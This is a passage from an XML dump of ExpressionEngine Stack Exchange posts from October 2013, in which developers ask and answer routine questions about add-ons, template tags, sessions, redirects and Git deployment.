$footer;&#xA;                }&#xA;&#xA;            }&#xA;            if($this-&amp;gt;settings['before_body_end'] === &quot;y&quot;){&#xA;&#xA;                if ( ! ee()-&amp;gt;session-&amp;gt;cache(__CLASS__, 'before_body_end'))&#xA;                {&#xA;                    $before_body_end = ee()-&amp;gt;session-&amp;gt;cache(__CLASS__, 'before_body_end');&#xA;                    ee()-&amp;gt;config-&amp;gt;_global_vars['mage:before_body_end'] = $before_body_end;&#xA;                }&#xA;&#xA;            }&#xA;&#xA;            return $row;&#xA;        }&#xA;    }&#xA;    // END&#xA;&#xA;}&#xA;// END CLASS&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2091" LastEditorUserId="2091" LastEditDate="2013-10-25T05:52:18.510" LastActivityDate="2013-10-25T12:09:58.330" Title="how to solve following error of php?" Tags="|ee2|php|error|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14966" PostTypeId="1" CreationDate="2013-10-25T05:36:38.583" Score="1" ViewCount="81" Body="&lt;p&gt;in my expressionengine backend I use matrix to create an agenda for events. The fields are:&#xA;day, time, title, description, file and speaker (using playa field).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Filling this matrix field with e.g. 24 rows slows down the backend. Clicking in a normal input field to fill it out takes ages. Do you have any suggestions how to solve this problem?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regards&lt;/p&gt;&#xA;" OwnerUserId="2261" LastEditorUserId="69" LastEditDate="2013-11-08T14:33:07.743" LastActivityDate="2013-11-08T14:33:07.743" Title="Slow input for Pixel and Tonic's Matrix with Playa cell" Tags="|matrix|playa|pixelandtonic|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14967" PostTypeId="1" CreationDate="2013-10-25T07:30:03.290" Score="6" ViewCount="342" Body="&lt;p&gt;I'm administering EE site with forum. On the forum, there are many redirects in the form of &lt;a href=&quot;http://domain.com/?URL=http://third-party-site.com/page.html&quot;&gt;http://domain.com/?URL=http://third-party-site.com/page.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Recently, Google started returning 404 for my site if the page on third-party site (which I can't control) does nit exist. &#xA;What should I do to avoid that, except for blocking &quot;?URL&quot; urls in robots.txt (especially having in mind that the links existed always, but started returning errors just recently, EE version has not been updated)&lt;/p&gt;&#xA;" OwnerUserId="19" LastActivityDate="2013-11-29T18:31:22.763" Title="Exclude ?URL redirect from site 404's" Tags="|redirects|seo|.htaccess|" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="14968" PostTypeId="2" ParentId="14961" CreationDate="2013-10-25T07:42:09.027" Score="2" Body="&lt;p&gt;If you're getting HTTP 403, rather than the cross-domain error, then you might be hitting the incompatible session bug. Assets uses Ajax to do a lot of things and that is processed via Frontend by EE, so if your Control Panel Session and User Session types are not compatible, the Ajax requests will think you're not logged in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can you go in Admin -&gt; Security and Privacy -&gt; Security and Sessions and check settings for &quot;Control Panel Session Type&quot; and &quot;User Session Type&quot;? Can you try changing the first to &quot;Cookies And Session Id&quot; and the other to &quot;Cookies only&quot;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This should fix this for you.&lt;/p&gt;&#xA;" OwnerUserId="722" LastActivityDate="2013-10-25T07:42:09.027" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14969" PostTypeId="2" ParentId="14965" CreationDate="2013-10-25T08:34:55.280" Score="2" Body="&lt;p&gt;For the first two errors, you need open the extension's setting in the CP and setup all parameters.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For errors 3 &amp;amp; 4, check if your server path to Mage.php is correct.&lt;/p&gt;&#xA;" OwnerUserId="932" LastEditorUserId="69" LastEditDate="2013-10-25T12:09:58.330" LastActivityDate="2013-10-25T12:09:58.330" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14970" PostTypeId="2" ParentId="14823" CreationDate="2013-10-25T08:57:25.447" Score="5" Body="&lt;p&gt;I now have definitive answers. Basically neither works with autosave. EllisLab have noted that their Grid fieldtype doesn't work either.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EllisLab&lt;/strong&gt;&lt;br&gt;&#xA;&lt;a href=&quot;https://support.ellislab.com/bugs/detail/19838&quot; rel=&quot;nofollow&quot;&gt;https://support.ellislab.com/bugs/detail/19838&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;P&amp;amp;T&lt;/strong&gt;&lt;br&gt;&#xA;Have responded with:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Unfortunately, Wygwam currently doesn't have support for EE's&#xA;  auto-save functionality, but I've added to our list to look into for a&#xA;  future release.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Not ideal but at lease it confirms that they know WYGWAM doesn't work. I've also checked PLAYA and that doesn't work either.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In conclusion, unless you've got a very simple fieldset in EE, autosave won't work.&lt;/p&gt;&#xA;" OwnerUserId="351" LastEditorUserId="28" LastEditDate="2013-10-26T01:43:58.757" LastActivityDate="2013-10-26T01:43:58.757" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="14972" PostTypeId="2" ParentId="14935" CreationDate="2013-10-25T09:34:15.980" Score="2" Body="&lt;p&gt;Your example actually worked fine in a test I did. But it could be that the curly brackets are encoded to entities, so the regex doesn't actually match. You could try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_replace find=&quot;(\{|&amp;amp;#123;)[\w\-]+?(\}|&amp;amp;#125;)&quot; regex=&quot;yes&quot;}&#xA;    {low_search_excerpt}&#xA;{/exp:low_replace}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you're just filtering out those image tags, you could also consider wrapping the Low Replace tag around the whole Low Search Results tag:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_replace find=&quot;(\{|&amp;amp;#123;)image_\d+(\}|&amp;amp;#125;)&quot; regex=&quot;yes&quot;}&#xA;    {exp:low_search:results ... }&#xA;        ...&#xA;    {/exp:low_search:results}&#xA;{/exp:low_replace}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="172" LastActivityDate="2013-10-25T09:34:15.980" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14973" PostTypeId="2" ParentId="14821" CreationDate="2013-10-25T11:31:58.010" Score="1" Body="&lt;p&gt;I don't know if Grid has that option, but you can use our little Shoe Shine Toolbox plugin to generate a random number. &lt;a href=&quot;https://github.com/shoeshine/shoeshine-toolbox&quot; rel=&quot;nofollow&quot;&gt;Get it from Github&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With it, you can do this: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{grid-field row_id=&quot;{exp:shoeshine_toolbox:random_number from='1' to='10'}&quot;}&#xA;  ...&#xA;{/grid-field}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note: There are other great add-ons that can generate random numbers. Just do a search on www.devot-ee.com&lt;/p&gt;&#xA;" OwnerUserId="69" LastEditorUserId="69" LastEditDate="2013-10-25T17:41:19.793" LastActivityDate="2013-10-25T17:41:19.793" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14975" PostTypeId="2" ParentId="14948" CreationDate="2013-10-25T12:47:46.663" Score="1" Body="&lt;p&gt;You are looking for &lt;code&gt;channel_name&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;channelA|channelB&quot; limit=&quot;1&quot; sort=&quot;asc&quot; show_future_entries=&quot;yes&quot;}&#xA;  {if channel_name == &quot;channelA&quot;} display A {/if}&#xA;  {if channel_name == &quot;channelB&quot;} display B {/if}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;See first comment here: &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_entries.html#comments&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_entries.html#comments&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="69" LastEditorUserId="69" LastEditDate="2013-10-25T13:26:37.353" LastActivityDate="2013-10-25T13:26:37.353" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14976" PostTypeId="1" AcceptedAnswerId="15007" CreationDate="2013-10-25T12:57:44.527" Score="1" ViewCount="125" Body="&lt;p&gt;I am wanting to have a predefined tablelike fieldtype for ecommerce products. I am talking about data that needs to be entered for every product like SKU, EAN, lenght, weight, height, color and so on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have looked at this &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/1441/how-do-you-do-html-tables&quot;&gt;thread&lt;/a&gt; and I am using Content Elements but I am missing the possibility to predefine the tables first row.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anybody having an idea about this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="847" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.763" LastActivityDate="2013-10-28T16:43:07.573" Title="Tables for product data" Tags="|html|table|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14977" PostTypeId="1" CreationDate="2013-10-25T13:04:18.767" Score="2" ViewCount="59" Body="&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;games&quot; limit=&quot;1&quot; dynamic=&quot;yes&quot;}&#xA;{game_platforms} &#xA;    {if item == &quot;PS3&quot;}test{/if} &#xA;    &amp;lt;span&amp;gt;{item}&amp;lt;/span&amp;gt;&#xA;{/game_platforms} &#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I set this up in a testing template and oddly, the curly braces aren't even parsing, here's what I'm getting: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if &quot;PC&quot; == &quot;PS3&quot;}PS3{/if} PC {if &quot;PS3&quot; == &quot;PS3&quot;}PS3{/if} PS3 {if &quot;Xbox 360&quot; == &quot;PS3&quot;}PS3{/if} Xbox 360&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Am I doing something wrong? &lt;/p&gt;&#xA;" OwnerUserId="2265" LastEditorUserId="55" LastEditDate="2013-10-25T13:21:33.327" LastActivityDate="2013-10-28T16:35:39.437" Title="&quot;{if item == ... &quot; not parsing" Tags="|parsing|" AnswerCount="2" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="14979" PostTypeId="1" AcceptedAnswerId="14997" CreationDate="2013-10-25T13:22:18.967" Score="3" ViewCount="96" Body="&lt;p&gt;When I have a form submitting to store on a purchase, can I set it so that the account that is created holds the correct member group information? I would like to set someone to pending status. This is my form, can I set it so they are assigned to group 10?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:store:checkout form_class=&quot;form-horizontal&quot; register_member=&quot;yes&quot; return=&quot;shop/order/ORDER_HASH&quot;'}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:store:checkout form_class=&quot;form-horizontal&quot; register_member=&quot;yes&quot; return=&quot;shop/order/ORDER_HASH&quot; group_id='10'}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or will I need to have them fill this information in post-this form? If they don't have an account, does the form create a password for them or does that need to be included? &lt;/p&gt;&#xA;" OwnerUserId="99" LastActivityDate="2013-10-25T20:07:40.180" Title="When member accounts are created in expresso store - group specification" Tags="|expresso-store|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14980" PostTypeId="1" CreationDate="2013-10-25T13:44:02.833" Score="1" ViewCount="89" Body="&lt;p&gt;I have a member who can't log into my site via a log in form in a template (not accessing the control panel). He has tried two accounts off the same computer, I can access the site using his account. He doesn't get any feedback after logging in like he's using the wrong password, etc. The page just reloads like he did nothing. I'm not sure how to figure out what the problem is. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've asked him to clear his cache and cookies and restart, which he has done. I've asked him to download and try using Firefox or Chrome instead of Safari to see if it's a problem with his browser, which I'm getting the feeling is asking too much of him. I have had no problems with the other 25 members who have accessed the site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A little bit about the set up. I have all the access settings for most of the site set to &quot;no access&quot; for guests with my login page as the template that loads if the person is not logged in. So I think it's not finding anything wrong with his login credentials, hence no errors, but hitting some issue to logging him in and then loads the login page again. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for any suggestions.&lt;/p&gt;&#xA;" OwnerUserId="1217" LastActivityDate="2013-10-25T18:00:31.287" Title="How do I troubleshoot a member who is unable to log in?" Tags="|members|login|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14981" PostTypeId="2" ParentId="5922" CreationDate="2013-10-25T13:58:55.873" Score="8" Body="&lt;p&gt;I know this is marked answered for 8 months, but here is an answer without any add-ons needed, which is in the original question. &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Set template access for guests to off. Have it load a login template instead.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In the login template do this for the login form:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:member:login_form return=&quot;{segment_1}/{segment_2}/{segment_3}&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;What I like about this solution is that you can send a link to someone through email for example. They get the URL, aren't really redirected, it's just a different template that shows up.  When they submit the login form the page reloads with the right template. They never leave the URL they should be on. &lt;/p&gt;&#xA;" OwnerUserId="1217" LastEditorUserId="2881" LastEditDate="2015-02-24T14:08:00.170" LastActivityDate="2015-02-24T14:08:00.170" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14982" PostTypeId="1" AcceptedAnswerId="22522" CreationDate="2013-10-25T14:24:05.797" Score="2" ViewCount="206" Body="&lt;p&gt;I am playing around with Git together with an EE install and I think that I have almost nailed it (aka found my workflow).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is just one small unclarity remaining with Templates being saved as files:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a local clone of my install and a central Bitbucket repo. Yesterday I made some changes in my local repo and pushed them to Bitbucket which in turn triggered a post-update hook that updates the files in Production. All fine until here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But now when I sshed into production and ran &quot;git status&quot; git told me that the two files I have just pushed are modified. I was puzzled at first but then realized that I was connected to the (live) remote DB when editing the template files locally.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, am I assuming right that this is something I shouldn't do with Git (being connected to remote DB) because a change and save to a file locally will in turn also update a.) the db in Production and b.) the file in Production?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks and Cheers!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT/UPDATE:&lt;/strong&gt; I now did another run with a fresh copy of the db running locally. I am using FTPloy together with Bitbucket so that whenever I push something to BB the changes are being deployed to my Production file system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So: changed two files locally, pushed them to BB and the Production site got updated with FTPloy. However, I still get these two files as being modified when I run &quot;git status&quot; on the Production server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On one site it seems totally logical to me because the two files were modified of course. But then again how I can I prevent this behaviour? When I try to pull from Origin I'll get &quot;error: Your local changes to the following files would be overwritten by merge&quot;. When I run discard the changes and then pull from Origin it works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I am thinking that it would best be to not have Git running at all on my Production server but what if I (or somebody) has to make changes to the live site in an emergencylike situation?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Don't know how to better describe this. I hope someone will understand my problem.&lt;/p&gt;&#xA;" OwnerUserId="847" LastEditorUserId="847" LastEditDate="2013-10-25T16:40:04.737" LastActivityDate="2014-06-07T14:44:40.710" Title="Git and Templates saved as file" Tags="|templates|database|files|git|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14983" PostTypeId="2" ParentId="14980" CreationDate="2013-10-25T14:26:21.900" Score="1" Body="&lt;p&gt;I think his browser has to accept cookies.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Francois&lt;/p&gt;&#xA;" OwnerUserId="482" LastActivityDate="2013-10-25T14:26:21.900" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14984" PostTypeId="2" ParentId="14982" CreationDate="2013-10-25T15:18:48.190" Score="2" Body="&lt;p&gt;I normally use a shared database between development and staging servers and a separate database for the live one. This prevents issues like this from happening and makes sure that your changes only go live when you intend them to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, this also introduces the age-old database sync issue, forcing you to manually replicate database changes across environments for things like channel and field structure changes and content update.&lt;/p&gt;&#xA;" OwnerUserId="197" LastActivityDate="2013-10-25T15:18:48.190" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14985" PostTypeId="1" CreationDate="2013-10-25T15:55:46.350" Score="1" ViewCount="100" Body="&lt;p&gt;I have a Wygwam 3.2.1 field inside ExpressionEngine 2.5.3. When I add a link to a PDF like so using the Source editor;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;p&amp;gt;You can download the &amp;lt;a href=&quot;/media/downloads/document.pdf&quot;&amp;gt;guide&amp;lt;/a&amp;gt; to find out more about .&amp;lt;/p&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It renders like so in the view source on the front end;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;p&amp;gt;You can download the &amp;lt;a href=&quot;&amp;amp;lt;/p&quot;&amp;gt;&#xA;                                &amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In the browser, this obviously just cuts the text off after '... download the '.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone else experienced this issue?&lt;/p&gt;&#xA;" OwnerUserId="466" LastEditorUserId="28" LastEditDate="2013-11-05T18:40:48.200" LastActivityDate="2013-11-05T18:42:06.923" Title="Adding a Link in Wygwam causes the link to break" Tags="|wygwam|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14986" PostTypeId="1" AcceptedAnswerId="14993" CreationDate="2013-10-25T16:55:34.697" Score="2" ViewCount="95" Body="&lt;p&gt;I'm attempting to store several variables generated by CE Image's Pair tag, as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set parse_tags=&quot;yes&quot; parse_depth=&quot;2&quot;}&#xA;    {exp:ce_img:pair src=&quot;{source_image}&quot;}&#xA;       {stash:ee_img_original_width'}{width_orig}{/stash:ee_img_original_width}&#xA;       {stash:ee_img_sized_src'}{made}{/stash:ee_img_sized_src}&#xA;       {stash:ee_img_sized_width'}{width}{/stash:ee_img_sized_width}&#xA;    {/exp:ce_img:pair}&#xA;{/exp:stash:set}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've reviewed &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/11426/parse-order-fun-getting-a-stashed-assets-image-resized-using-ce-image-inside-a&quot;&gt;this post about getting a single var from CE Image&lt;/a&gt;, and this one, about &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/9222/outputting-tag-pairs-such-as-images-files-with-stash&quot;&gt;grabbing multiple variables from a different tag pair&lt;/a&gt;, but I'm not getting anywhere. Thanks in advance!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Corrected Syntax, Per Nate/Mark's Feedback&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;h2&amp;gt;Set Vars&amp;lt;/h2&amp;gt;&#xA;{exp:stash:set parse_tags=&quot;yes&quot; parse_depth=&quot;2&quot;}&#xA;    {exp:ce_img:pair src=&quot;{source_image}&quot;}&#xA;        {stash:ee_img_original_width}{width_orig}{/stash:ee_img_original_width}&#xA;        {stash:ee_img_sized_src}{made}{/stash:ee_img_sized_src}&#xA;        {stash:ee_img_sized_width}{width}{/stash:ee_img_sized_width}&#xA;    {/exp:ce_img:pair}&#xA;{/exp:stash:set}&#xA;&#xA;&amp;lt;h2&amp;gt;Get Vars&amp;lt;/h2&amp;gt;&#xA;&amp;lt;p&amp;gt;&#xA;    Original Width: {exp:stash:get name='ee_img_original_width'}&amp;lt;br&amp;gt;&#xA;    Path to New Image: {exp:stash:get name='ee_img_sized_src'}&amp;lt;br&amp;gt;&#xA;    New Image Width {exp:stash:get name='ee_img_sized_width'}&#xA;&amp;lt;/p&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="33" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.763" LastActivityDate="2013-10-25T19:31:46.280" Title="Storing multiple variables from CE Image tag pair in Stash" Tags="|stash|ce-image|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="14988" PostTypeId="1" CreationDate="2013-10-25T17:45:49.287" Score="1" ViewCount="280" Body="&lt;p&gt;I have a site built on EE2 where one page has used jQuery tabs (example: &lt;a href=&quot;http://childrensmedgroup.com/index.php/meet_us/&quot; rel=&quot;nofollow&quot;&gt;http://childrensmedgroup.com/index.php/meet_us/&lt;/a&gt;). Main problem is with updating that page because within WYSIWYG editor user can see only first tab. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My idea it to make a separate channel for that particular page and create content post for each tab so user can populate it in a very easy way and I will just add EE tags to display each tab/post on that page template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does it will work? Or maybe there are extensions which will provide similar functionality?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="1577" LastActivityDate="2013-10-25T20:40:55.287" Title="jQuery tabs and each tab as a content post" Tags="|ee2|jquery|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14990" PostTypeId="2" ParentId="14980" CreationDate="2013-10-25T18:00:31.287" Score="0" Body="&lt;p&gt;What EE version are you running?&lt;br&gt;&#xA;Earlier versions had a problem where if a user was on IPv6, they couldn't log in. This was fixed in later versions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If he's on IPv6 and you are running an old EE install, you may need to update.&lt;/p&gt;&#xA;" OwnerUserId="100" LastActivityDate="2013-10-25T18:00:31.287" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14991" PostTypeId="2" ParentId="14988" CreationDate="2013-10-25T18:03:51.727" Score="1" Body="&lt;p&gt;That may just be a limitation of the WYSIWYG editor - not all of them work with more complex UI widgets that require jQuery to function. You may have to have your users learn how to view the source, and add/edit content within the code-view window.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I were building something like this, I'd build in additional entry fields for the tab title, and for the tab content. Then the template would use conditional tags to add extra tabs to the jQuery tab widget. (For performance/usability's sake, I'd only allow for a maximum of five tabs on a page/single-entry template.) It requires some re-engineering, but it makes things easier for the users.&lt;/p&gt;&#xA;" OwnerDisplayName="user800" LastActivityDate="2013-10-25T18:03:51.727" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14992" PostTypeId="1" AcceptedAnswerId="15003" CreationDate="2013-10-25T18:04:47.970" Score="1" ViewCount="750" Body="&lt;p&gt;Good Afternoon,&lt;/p&gt;&#xA;&lt;p&gt;I'm trying to install the REElocate module. I see it in the Control Panel, but when I click &lt;em&gt;Install&lt;/em&gt;, I get the following error:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Fatal error: Call to undefined function ee() in [omitted]/expressionengine/third_party/reelocate/upd.reelocate.php on line 39&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;upd.reelocate.php line 39:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;ee()-&amp;gt;db-&amp;gt;insert('modules', array(&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Line 39 context:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;public function install()&#xA;{   &#xA;    // register module&#xA;    ee()-&amp;gt;db-&amp;gt;insert('modules', array(&#xA;        'module_name' =&amp;gt; 'Reelocate',&#xA;        'module_version' =&amp;gt; $this-&amp;gt;version,&#xA;        'has_cp_backend' =&amp;gt; 'y',&#xA;        'has_publish_fields' =&amp;gt; 'n'));&#xA;    &#xA;    return true;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I'm running v2.1.3 build 20101220.&lt;/p&gt;&#xA;&lt;p&gt;The docs at &lt;a href=&quot;https://github.com/expressodev/reelocate&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/expressodev/reelocate&lt;/a&gt; state:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Requirements&lt;/p&gt;&#xA;&lt;p&gt;ExpressionEngine 2.1.3+&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Many thanks,&lt;br /&gt;&#xA;Andrea&lt;/p&gt;&#xA;" OwnerUserId="317" LastEditorUserId="-1" LastEditDate="2020-06-17T08:55:32.810" LastActivityDate="2013-10-25T21:44:35.910" Title="REElocate: Fatal error: Call to undefined function ee()" Tags="|add-on|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14993" PostTypeId="2" ParentId="14986" CreationDate="2013-10-25T18:09:15.940" Score="5" Body="&lt;p&gt;You have an extraneous single quote ' in each of your opening tag pairs.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{stash:ee_img_original_width'}{width_orig}{/stash:ee_img_original_width}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Should be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{stash:ee_img_original_width}{width_orig}{/stash:ee_img_original_width}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="289" LastActivityDate="2013-10-25T18:09:15.940" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14994" PostTypeId="2" ParentId="14992" CreationDate="2013-10-25T18:57:35.337" Score="3" Body="&lt;p&gt;If an add-on is calling &lt;code&gt;ee()&lt;/code&gt;, it requires 2.6+. My guess is that Adrian never got around to updating the docs.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-10-25T18:57:35.337" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14995" PostTypeId="1" CreationDate="2013-10-25T19:13:22.350" Score="1" ViewCount="103" Body="&lt;p&gt;SO, I have assets installed on site1 - works great.&#xA;I add site 2, index the uploads, cool. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can add images in the module, but when I try to add images within an entry, the buttons are grayed back. Any idea why I can't add images within an entry in site2?&lt;/p&gt;&#xA;" OwnerUserId="973" LastEditorUserId="28" LastEditDate="2013-10-26T01:31:36.620" LastActivityDate="2014-04-28T04:20:44.407" Title="Assests + MSM + Indexing new site = Uh oh!" Tags="|assets|multi-site-manager|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="14996" PostTypeId="1" AcceptedAnswerId="15001" CreationDate="2013-10-25T19:57:40.457" Score="1" ViewCount="171" Body="&lt;p&gt;Has Freemember been updated to work with EE 2.7.2? This is the error I get when trying to access a freemember form on the front end...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Error&#xA;&#xA;Unable to load the requested class: safecracker_lib&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Was using FreeMember 2.0.1 and upgraded to 2.3.0.&lt;/p&gt;&#xA;" OwnerUserId="603" LastEditorUserId="603" LastEditDate="2013-10-30T15:08:50.890" LastActivityDate="2013-10-30T15:08:50.890" Title="Just upgraded a site from 2.4 to 2.7.2, get errors when trying to view front-end freemember forms" Tags="|error|freemember|expresso|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14997" PostTypeId="2" ParentId="14979" CreationDate="2013-10-25T20:07:40.180" Score="3" Body="&lt;p&gt;Store will create a member in the member group you have specified in Member &gt; Preferences which by default is set to &quot;Members&quot; or Group ID 5 unless you are requiring &quot;manual activation&quot; or &quot;self activation by email&quot; which would place the member in the pending group until they are activated then they will be moved to the default group. Store does not have a tag that would allow you to specify which member group they are assigned to at the template level. You would need to write an extension to allow something like this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The allow a member to create an account you will need to use either &lt;code&gt;register_member=&quot;&quot;&lt;/code&gt; in the checkout tag or you can optionally allow a user to select a checkbox by adding &lt;code&gt;{field:register_member}&lt;/code&gt; in your checkout template. Using the 